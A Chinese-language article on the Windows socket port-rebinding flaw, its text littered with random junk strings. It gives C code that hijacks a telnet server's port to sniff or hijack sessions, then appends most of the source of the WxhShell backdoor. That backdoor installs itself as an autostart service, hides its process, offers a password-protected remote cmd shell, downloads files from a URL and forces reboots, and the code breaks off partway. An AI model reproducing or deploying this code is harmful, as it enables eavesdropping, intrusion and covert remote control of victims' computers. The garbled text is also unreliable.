在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
h'%iY6!fA s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
eb10=Lmj "h58I)O saddr.sin_family = AF_INET;
U~H]w,^ _!_%Afz saddr.sin_addr.s_addr = htonl(INADDR_ANY);
J?DJA2o ?y"=jn bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
q.I oQ
YmywY 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
n;QMiz:yY *{TB<^ * 这意味着什么?意味着可以进行如下的攻击:
.A%*AlX tg5G`P5PJ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
3FetyWl' KF!?;q0J 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
%OT} r ,.6)y1! 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
u?xXZ]_u- Ga,+ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
$<DcbJW \A#YL1hh 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
D05JQ* %0&c0vT 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
9S<g2v 0vYHx V 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
HnlCEW,^o L>@:Xo@ #include
3]MSS\uB #include
<?h,;]U #include
/u&{=nU #include
9=o;I;I DWORD WINAPI ClientThread(LPVOID lpParam);
OUM^u* int main()
K (px-jY {
;nx? 4f+6h WORD wVersionRequested;
M?[~_0_J DWORD ret;
rP%B#%;S" WSADATA wsaData;
OK8|w]-A BOOL val;
JnodDH ? SOCKADDR_IN saddr;
(Vz\02,K SOCKADDR_IN scaddr;
~[[(_C3 int err;
)Up'W SOCKET s;
1^v?Ly8 SOCKET sc;
v$JhC' int caddsize;
=sFLzAu8 HANDLE mt;
yb 4Jsk5% DWORD tid;
+ $Yld{i wVersionRequested = MAKEWORD( 2, 2 );
,'}qLor err = WSAStartup( wVersionRequested, &wsaData );
)}3!iDA if ( err != 0 ) {
ca6kqh" printf("error!WSAStartup failed!\n");
1w~@'ZyU return -1;
6R=dg2tKT }
}eLnTi{ saddr.sin_family = AF_INET;
j84g6; 4Dv n-)Xs;`2 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
'h*^;3@* b~Q8&z2 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
~E^lKe saddr.sin_port = htons(23);
}<=4A\LZ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
C]01(UoSZ {
r5w y]z^ printf("error!socket failed!\n");
0x1#^dII return -1;
WAzn`xGxR" }
OL0W'C9oA val = TRUE;
>Y>>lE!
k //SO_REUSEADDR选项就是可以实现端口重绑定的
S`t@L} if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
\2U F J {
ba`V`0p- ( printf("error!setsockopt failed!\n");
A8jj]J+ return -1;
:=cZ,?PQp1 }
I}hY @ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
9]]isE8r //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
9L+g;Js$4 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
b,#lw_U" #[LnDU8>9 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
:GBM`f@ {
;D>*Pzj ret=GetLastError();
}bA@QEJ printf("error!bind failed!\n");
?ypX``3#s7 return -1;
T=~D>2C }
-RK R., listen(s,2);
PN"s^]4 while(1)
xC}9W6 {
ze_q+Z caddsize = sizeof(scaddr);
^Ee"w7XjD //接受连接请求
qy\Z2k sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
kS)azV if(sc!=INVALID_SOCKET)
umJ!j&( {
]ur_G`B mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
+>*! 3x+sE if(mt==NULL)
^(c.AYI {
D\CjR6DE printf("Thread Creat Failed!\n");
|%~Zo:Q<$> break;
JQ"R%g`8 }
(_.0g}2 }
d:&=|kKw CloseHandle(mt);
aEvW<jHh }
p?idl`?^3 closesocket(s);
tH^]`6"QUa WSACleanup();
)wdTs>W7 return 0;
(5\VOCT>4% }
LEn+0^hX DWORD WINAPI ClientThread(LPVOID lpParam)
#[B]\HO {
X :wfmb SOCKET ss = (SOCKET)lpParam;
6(=>!+xpRr SOCKET sc;
<Y"h2#M " unsigned char buf[4096];
QTLGM-Z SOCKADDR_IN saddr;
6U(MHxY long num;
A(v5VvgZE DWORD val;
~|kSQ7O^ DWORD ret;
=b_/_b$q //如果是隐藏端口应用的话,可以在此处加一些判断
'5;
/V //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
1wTPT,k saddr.sin_family = AF_INET;
EgB$y"fs saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
+rN&@}Jt. saddr.sin_port = htons(23);
8lZB3p]X if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
|SSe n#PYp {
al@Hr*' printf("error!socket failed!\n");
$Si|;j$? return -1;
`c.P`@KA }
$ts1XIK% val = 100;
W<tw],M-# if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
3Q:Hzq G {
,We'AR3X ret = GetLastError();
2uT"LW/(H return -1;
TW~%1G_v }
~jD~_JGp if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
S(#v<C,hd {
(;cKv ret = GetLastError();
)z!#8s return -1;
W'{o`O=GGr }
34:Y_* if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Zt
;u8O {
,{Ga7rH*
printf("error!socket connect failed!\n");
XE($t2x,M closesocket(sc);
w[]\%`69}Z closesocket(ss);
V i<6i0 return -1;
TH>7XK<90M }
,buo&DT{L while(1)
l&{+3 aC: {
@d_9NOmNT //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
_jM+;=f //如果是嗅探内容的话,可以再此处进行内容分析和记录
[vn"r^P //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
KMP[Ledr num = recv(ss,buf,4096,0);
<RCeY(1 if(num>0)
O&}`R5Y; send(sc,buf,num,0);
D:0?u_[W else if(num==0)
ge|Cvv break;
6QePrf num = recv(sc,buf,4096,0);
Z)!#+m83>- if(num>0)
ZmaGp* Wj send(ss,buf,num,0);
jhB+ ] else if(num==0)
g:2\S= break;
<1(j&U }
9pJk.Np0 closesocket(ss);
Oj~4uT&" closesocket(sc);
Y3RaR
9 return 0 ;
f7_EqS=( }
12JmSvD ?ot7_ vl "ke>O' ==========================================================
SZ'2/#R> pX~X{JTaL) 下边附上一个代码,,WXhSHELL
dnW #" >/5'0n_R ==========================================================
y(w&6: >.X& v #include "stdafx.h"
1U(P0$C f;7I{Z\< #include <stdio.h>
ta'{S=^j #include <string.h>
8pZGu8 #include <windows.h>
\p%,g&^ x #include <winsock2.h>
q{:]D(
#include <winsvc.h>
uKL4cr@ #include <urlmon.h>
`1fNB1c
f0d*% #pragma comment (lib, "Ws2_32.lib")
R$Or&:E ^ #pragma comment (lib, "urlmon.lib")
+8#hi5e &}q;," #define MAX_USER 100 // 最大客户端连接数
k=D}i\F8 #define BUF_SOCK 200 // sock buffer
Z;qgB7-M #define KEY_BUFF 255 // 输入 buffer
V9dJNt'Ui cFF'ygJ/ #define REBOOT 0 // 重启
de<T5/ #define SHUTDOWN 1 // 关机
sJ
!<qb5 ! c ?(X(FQ #define DEF_PORT 5000 // 监听端口
WH6Bs=G\} [42EqVR #define REG_LEN 16 // 注册表键长度
}F<= #define SVC_LEN 80 // NT服务名长度
4?2$~\
x EK=PY
// 从dll定义API
t 8,VR FV typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
M?QK4Zxb6U typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
S+*g typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
snm1EPj typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
];63QJU ZtofDp5B // wxhshell配置信息
/ho7O/aAa struct WSCFG {
VTIRkC
wl@ int ws_port; // 监听端口
Bl1^\[# char ws_passstr[REG_LEN]; // 口令
*< ?~ int ws_autoins; // 安装标记, 1=yes 0=no
Hph$Z1{ char ws_regname[REG_LEN]; // 注册表键名
C=zc6C, char ws_svcname[REG_LEN]; // 服务名
hvo7T@*' char ws_svcdisp[SVC_LEN]; // 服务显示名
$z[r(a^a char ws_svcdesc[SVC_LEN]; // 服务描述信息
k,0lA#> char ws_passmsg[SVC_LEN]; // 密码输入提示信息
2[QyH'"^E int ws_downexe; // 下载执行标记, 1=yes 0=no
\{K~x@` char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
1h,m char ws_filenam[SVC_LEN]; // 下载后保存的文件名
9J4gDw4< <[Y@< };
I\WBPI 7S.E,\Tws // default Wxhshell configuration
e4<[|B!O struct WSCFG wscfg={DEF_PORT,
W%_Cda5, "xuhuanlingzhe",
2}xvM"k=k 1,
q2}6lf,J
K "Wxhshell",
?j|i|WUD "Wxhshell",
j3&tXZ;F "WxhShell Service",
{O"N2W "Wrsky Windows CmdShell Service",
m$!Ex}2 "Please Input Your Password: ",
D9/PVd 1,
2{oU5e "
http://www.wrsky.com/wxhshell.exe",
k+;XQEH "Wxhshell.exe"
q)QM+4 };
d*tn&d~k, "R
%3v.Z // 消息定义模块
%z"${ zw char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
dQ`=CIr char *msg_ws_prompt="\n\r? for help\n\r#>";
LnlDCbF;! char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
4KnrQ-D char *msg_ws_ext="\n\rExit.";
F$nc9x[S char *msg_ws_end="\n\rQuit.";
E;-*LT&{ char *msg_ws_boot="\n\rReboot...";
IEeh9:Km char *msg_ws_poff="\n\rShutdown...";
+V;@)-
char *msg_ws_down="\n\rSave to ";
J[{?Y'RUM 6u[
B}%l char *msg_ws_err="\n\rErr!";
Gm.2!F=R4A char *msg_ws_ok="\n\rOK!";
mr<camL5 }
3JOC!;; char ExeFile[MAX_PATH];
G^&P'* int nUser = 0;
w7`09oJm HANDLE handles[MAX_USER];
#Zj3SfU~` int OsIsNt;
>}) W5Y+ 45U!\mG SERVICE_STATUS serviceStatus;
=niT]xf SERVICE_STATUS_HANDLE hServiceStatusHandle;
U C..)9 L yNLz
m5 // 函数声明
)=5,S~IT int Install(void);
`g^b Qx int Uninstall(void);
o%)38T*n3 int DownloadFile(char *sURL, SOCKET wsh);
A|
s\5"?? int Boot(int flag);
lqZUU92; void HideProc(void);
2P2/]-6s#r int GetOsVer(void);
6`V~cVu int Wxhshell(SOCKET wsl);
=BroH\ void TalkWithClient(void *cs);
..;ep2jSs int CmdShell(SOCKET sock);
1;"DIsz@d int StartFromService(void);
qj1Fj int StartWxhshell(LPSTR lpCmdLine);
_qvzZ6 y1_z(L;I VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
2f0qfF VOID WINAPI NTServiceHandler( DWORD fdwControl );
]CGH )4Pe :]uz0s`> // 数据结构和表定义
YlJ_$Q[ SERVICE_TABLE_ENTRY DispatchTable[] =
Wo+^R%K'4 {
kj/v$m {wscfg.ws_svcname, NTServiceMain},
~=k?ea/> {NULL, NULL}
I~)A!vp };
(g3@3.Kk) fX{Xw0
// 自我安装
}II)<g' int Install(void)
l
dw!G/ {
O\q-Ai char svExeFile[MAX_PATH];
"5b4fQ;x HKEY key;
.kp3<. strcpy(svExeFile,ExeFile);
d]+2rt}]hL dLtmG:II // 如果是win9x系统,修改注册表设为自启动
*yqke<o9) if(!OsIsNt) {
^Fg!.X_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
`9mc+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
"9O8#i<Nr RegCloseKey(key);
[Y-3C47 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Z7J4rTA RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
EFzPt?l RegCloseKey(key);
~'VVCtA return 0;
;uN&yj<}a }
vpz l{ }
6!Uk c'r }
r:--DKt else {
rp,Us#>6 rj/1AK // 如果是NT以上系统,安装为系统服务
&x)n K SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
SlI
wLv^ if (schSCManager!=0)
c!]Q0ib6 {
:Ny^-4-N SC_HANDLE schService = CreateService
UY^TTRrH (
Svt%*j schSCManager,
VYnB&3%DF wscfg.ws_svcname,
MN[D)RKh; wscfg.ws_svcdisp,
52.%f+Oa SERVICE_ALL_ACCESS,
l`rO)7 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Kj/Lcx;bh SERVICE_AUTO_START,
[E)&dl_k SERVICE_ERROR_NORMAL,
&/8B(0< svExeFile,
JQ9+kZ NULL,
TFDzTD NULL,
w}0rDWuR[ NULL,
FB2{qG3 NULL,
Xa_:B\ic NULL
3u/ GrsF );
_*-b0 }T if (schService!=0)
58t~? 2E {
OlX#1W] CloseServiceHandle(schService);
gUH|?@f CloseServiceHandle(schSCManager);
}fL
] }& strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
H
$mZ? strcat(svExeFile,wscfg.ws_svcname);
~toR)=Yv if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
<4P.B?-/t RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
C=(~[ Y RegCloseKey(key);
";TqYk=- return 0;
k,LaFe`W }
7ea%mg\ }
&(h@]F! CloseServiceHandle(schSCManager);
L~*nI d }
NL &![; }
>%A~ : y(X^wC return 1;
?d_vD@+\ }
q@i.4>x 6W9lKD_i // 自我卸载
/$^SiE+N int Uninstall(void)
]l^"A~va {
zqxN/H]z HKEY key;
?MOjtAG0_~ )i[K1$x2 if(!OsIsNt) {
F&HvSt}l5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
_mTNK^gB RegDeleteValue(key,wscfg.ws_regname);
`2`h4[^ [X RegCloseKey(key);
# blh9.V&F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
`$ pJ2S RegDeleteValue(key,wscfg.ws_regname);
jQ['f\R RegCloseKey(key);
Z/LYTo$Bz return 0;
HpS1(%d" }
[a7S?%>Bh }
.&.L@CRH }
^ #3,*(S else {
1;HL=F '![VA8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
)h1 `?q:5 if (schSCManager!=0)
4%7Oaf>9 {
d>wG6Z, | SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Up*6K =Tny if (schService!=0)
n<Ki.;-ZE {
4KY@y?H g if(DeleteService(schService)!=0) {
EC?U#!kv CloseServiceHandle(schService);
:KsBJ>2ck CloseServiceHandle(schSCManager);
9\i^.2& return 0;
I bE Nq }
w^/"j_p@ CloseServiceHandle(schService);
;h#CT#R2 }
(ewcj\l4* CloseServiceHandle(schSCManager);
Zk0? =f?j }
!&o>zU. }
rm,h\ tfjb G;R return 1;
+N!/>w]n }
YrTjHIn~w 7` t, // 从指定url下载文件
L'a>D int DownloadFile(char *sURL, SOCKET wsh)
{>l`P{{y {
K_V$ ktL HRESULT hr;
bc\?y2
3 char seps[]= "/";
;MjOs&1f0K char *token;
fwaM ;YN_ char *file;
Wl3fR[@3Q char myURL[MAX_PATH];
OoR0>!x Z char myFILE[MAX_PATH];
_x?S0R1 u!cA_, strcpy(myURL,sURL);
T\L
LOx\ token=strtok(myURL,seps);
e{d$OzT) V while(token!=NULL)
.T}S[`Yx5 {
r-o6I:y file=token;
XPcx"zv\ token=strtok(NULL,seps);
R= *vPS }
znd fIt^ Q3x.qz GetCurrentDirectory(MAX_PATH,myFILE);
mOx>p"n strcat(myFILE, "\\");
">S.~'ds strcat(myFILE, file);
~ph>?xuw send(wsh,myFILE,strlen(myFILE),0);
P4~C0z send(wsh,"...",3,0);
F6)/Iiv hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
DKqO5e\l8@ if(hr==S_OK)
%:[Y/K- return 0;
BmFs6{>~c else
vm "dE4W= return 1;
z>W'Ra6 xr-v"- }
j es[a '>r"+X^W // 系统电源模块
yy|F6Pq3` int Boot(int flag)
Sc&p*G {
`<d{(9:+ HANDLE hToken;
+jX.::UPm TOKEN_PRIVILEGES tkp;
3UQ~U 8 k%lz%r if(OsIsNt) {
j0[9Cj^%c OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
KR/SMwy LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
d<4q%y'X{ tkp.PrivilegeCount = 1;
nD;8)VI'I tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
fHwr6"DJ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
}K\m.+%=d if(flag==REBOOT) {
L<TL6 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
-m>ng
E~q return 0;
qW:\6aEG }
&sJ%ur+G else {
4f>
s2I&pQ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Tof H=d return 0;
"+J[7p}`@ }
:0B'
b }
Ie8jBf - else {
fQOh%i9n5 if(flag==REBOOT) {
8?&u5 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
ZtqN8$[6n return 0;
w@ =U f7 }
Og~3eL[1%C else {
T)PH8 " if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
w"K;e (S return 0;
H:M;H=0 }
$N)b6(}F10 }
lGtTZcg Ro|%pT return 1;
iZ-"l3)D }
7cJh^M ON<X1eU // win9x进程隐藏模块
B7!dp`rPp void HideProc(void)
/NFcIU {
CERT`W%o BTu_$5F HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
y6S:[Z{~A if ( hKernel != NULL )
D/-$~u_o {
x#_0
6 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
coQ>CbHg ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
]DO"2r FreeLibrary(hKernel);
xK3}zN$T }
" ~&d=f0m R59'KR2? return;
52JtEt7E }
0QxE6>xL= =^LX,!2zp{ // 获取操作系统版本
>AT T<U= int GetOsVer(void)
V;#bcr=Z<J {
sjj*7i* OSVERSIONINFO winfo;
e2PM^1{_ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
%VD>S GetVersionEx(&winfo);
^|1)6P}6 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
evBr{oi@ return 1;
z;VabOr^ else
>C|i^4ppI return 0;
E}WO?xxv74 }
$m-rn'Q h!L6NS_Q, // 客户端句柄模块
zU)Ib<$ int Wxhshell(SOCKET wsl)
4D-4BxN* {
}}'0r2S SOCKET wsh;
V]$Tbxg struct sockaddr_in client;
(NBq!;_2,x DWORD myID;
?yq1\G)] .s!qf!{V` while(nUser<MAX_USER)
eBW=bK~[VP {
Tn7(A^h' int nSize=sizeof(client);
U oiXIf_Q wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
8#MiM . f if(wsh==INVALID_SOCKET) return 1;
i#%17} BL^8gtdn handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Z`)}1|~B if(handles[nUser]==0)
M[@=m[#a closesocket(wsh);
AGdFJ>/ else
,y57tY nUser++;
jw"]U jub }
3 O)^Hq+9 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
(7qdrAeP #K3`$^0 s return 0;
>$yqx1=jW }
DVWqrK}q *l[;g // 关闭 socket
_V`Gmy[]p void CloseIt(SOCKET wsh)
RvPC7,vh {
}H4Z726 closesocket(wsh);
Rn-RMD{dh nUser--;
LT3ViCZ-n ExitThread(0);
dlx"L% }
UpU2H4 R}-<ZJe // 客户端请求句柄
+W6QtB6 void TalkWithClient(void *cs)
]EhW {
VkNg Vjg C&QT-| SOCKET wsh=(SOCKET)cs;
[0(+E2/:2 char pwd[SVC_LEN];
a\Ond#1p char cmd[KEY_BUFF];
d}.*hgk char chr[1];
jxU z-U- int i,j;
l?N|Gj;ZFZ 7jZ=+2 while (nUser < MAX_USER) {
4{s3S2f= D# "ppa} if(wscfg.ws_passstr) {
-Pr1r if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
MyyNYZ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
VNmQ'EuV}2 //ZeroMemory(pwd,KEY_BUFF);
5IPZ; i=0;
fgW>U*.ar while(i<SVC_LEN) {
vThK@P!s O7_u9lz2 // 设置超时
2)A% 'Akf fd_set FdRead;
g (i_di struct timeval TimeOut;
ugwZAC FD_ZERO(&FdRead);
XRMYR97 FD_SET(wsh,&FdRead);
FKOTv2 TimeOut.tv_sec=8;
12yr_ TimeOut.tv_usec=0;
SGd[cA
K o int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
_^ 2rRz if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
o-))R| ~z 8pQx6QE if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
\C
)S3!h pwd
=chr[0]; ?4kM5NtP
if(chr[0]==0xd || chr[0]==0xa) { t@`w}o[#
pwd=0; _i=431Z40
break; 7$l! f
} ._uXK[c7P
i++; YQ&Ww|xe
} 5p. vo"7
KZ"&c~[
// 如果是非法用户,关闭 socket <QUjhWxDb
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {*Ag[HS0u
} Gd:TM]rJ
F.s*^}L[
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^ *{:;F@
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1gA9h-'w
{!lC$ SlJ
while(1) { :/c40:[
ZB)`*z>*
ZeroMemory(cmd,KEY_BUFF); k_E
Jg;(
pQGlg[i2/
// 自动支持客户端 telnet标准 f(^? PGO
j=0; 4pin\ZS:C
while(j<KEY_BUFF) { %[<@$qP
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )<?^~"h
cmd[j]=chr[0]; 5d7AE^SHsH
if(chr[0]==0xa || chr[0]==0xd) { V!Px975P
cmd[j]=0; ScgaWJ
break; X7cqAi
} <}G*/ z?/
j++; 0%Y8M` ~s7
} fd {75J5%
K/Q%tr1W0
// 下载文件 UP18?uM
if(strstr(cmd,"http://")) { m44"qp
send(wsh,msg_ws_down,strlen(msg_ws_down),0); XB8g5AxR
if(DownloadFile(cmd,wsh)) ^dR="N
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >9Yo:b:f
else N-0kB vo
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B<99-7x3
} 'F\@KE-d
else { #%~PNki
\gBsAZE
switch(cmd[0]) { B_gzpS]
kM0TQX)$m
// 帮助 Bb,l.w
case '?': { 3Kx&+
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N(6Q`zs
break; >1}RiOd3
} 4"om;+\
// 安装 sew0n`d1
case 'i': { v%ldg833l
if(Install()) /IO<TF(X
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {
]*#WU
else :i?7RouO
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x1@`\r#0
break; ;p/%)WW
} $s2Y,0>I6
// 卸载 UABaS(f3
case 'r': { LpQ=Y]{j
if(Uninstall()) o*fNY
send(wsh,msg_ws_err,strlen(msg_ws_err),0); n A<#A
else IL]Js W
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #j+0jFu
break; agbG) t0
} aUGRFK_6$
// 显示 wxhshell 所在路径 E*sQ|" g
case 'p': { jc$gy`,F
char svExeFile[MAX_PATH]; "^Ax}Jr
strcpy(svExeFile,"\n\r"); K P1;u #v
strcat(svExeFile,ExeFile); ?tA<:.<vtY
send(wsh,svExeFile,strlen(svExeFile),0); ;R_H8vp
break; U_&v|2o#3
} !`A]YcQ
// 重启 )YtdU(^J$
case 'b': { ~7G@S&<PK(
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z\\'0yuY(
if(Boot(REBOOT)) W$>AK_Y}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); wN+3OPM
else { tL#]G?0d
closesocket(wsh); l_ES$%d
ExitThread(0); 1ti9FQ
} 2C@ui728
break; !.EDQ1k
} DjMhI_Yu
// 关机 ]c+HD*
case 'd': { z#( `H6n:
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J)o =0i>*
if(Boot(SHUTDOWN)) <`f~Z|/-_(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 38gHM9T
xh
else { * NB:"1x
closesocket(wsh); G-DvM6T
ExitThread(0); 4Odf6v,*@
} %>mB"Y,
break; [PhT
zXt
} 8fH.E
// 获取shell 2Hp<(
case 's': { A.v'ws+VDP
CmdShell(wsh); Fv )H;1V
closesocket(wsh); s"xiGp9
ExitThread(0); )HL[_WfY
break; (2l?~CaK
} @hG]Gs[,o
// 退出 OsGKlWM/
case 'x': { dfa^5`_
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sN8)p%'Lg
CloseIt(wsh); >T)#KQ1t
break; ol7^T
} TwT@_~IM
// 离开 jgyXb5GY
case 'q': { R #\o*Ta
send(wsh,msg_ws_end,strlen(msg_ws_end),0); n a3st*3V_
closesocket(wsh); B7u4e8(E*
WSACleanup(); 3c|u2Pl
exit(1); m35$4
break; M,R**z
} N+#lS7
} B=;pwX
} 7xlarns
v6#i>n~x,
// 提示信息 qJyGr ?
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "?f_U/+D<
} <`P7^
'z!
} 1oSU>I_i
VS\+"TPuH
return; iuGly~
} 8ED}!;ZU
Es^=&2''
// shell模块句柄 Q\qI+F2?
int CmdShell(SOCKET sock) {*NM~yQ
{ upc-Qvk
STARTUPINFO si; #FwTV@
ZeroMemory(&si,sizeof(si)); h)o5j-M>4
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $psPNJG
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [a2Q ^ab
PROCESS_INFORMATION ProcessInfo; i9O;D*
char cmdline[]="cmd"; 7&>==|gt
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Tz<@k
return 0; l(j._j~p
} }^"#&w3<
ysDGF@wZC
// 自身启动模式 KM&bu='L^
int StartFromService(void) 0/~20 KD{s
{ a*3h|b<
typedef struct bH1MDBb2
{ p8bAz
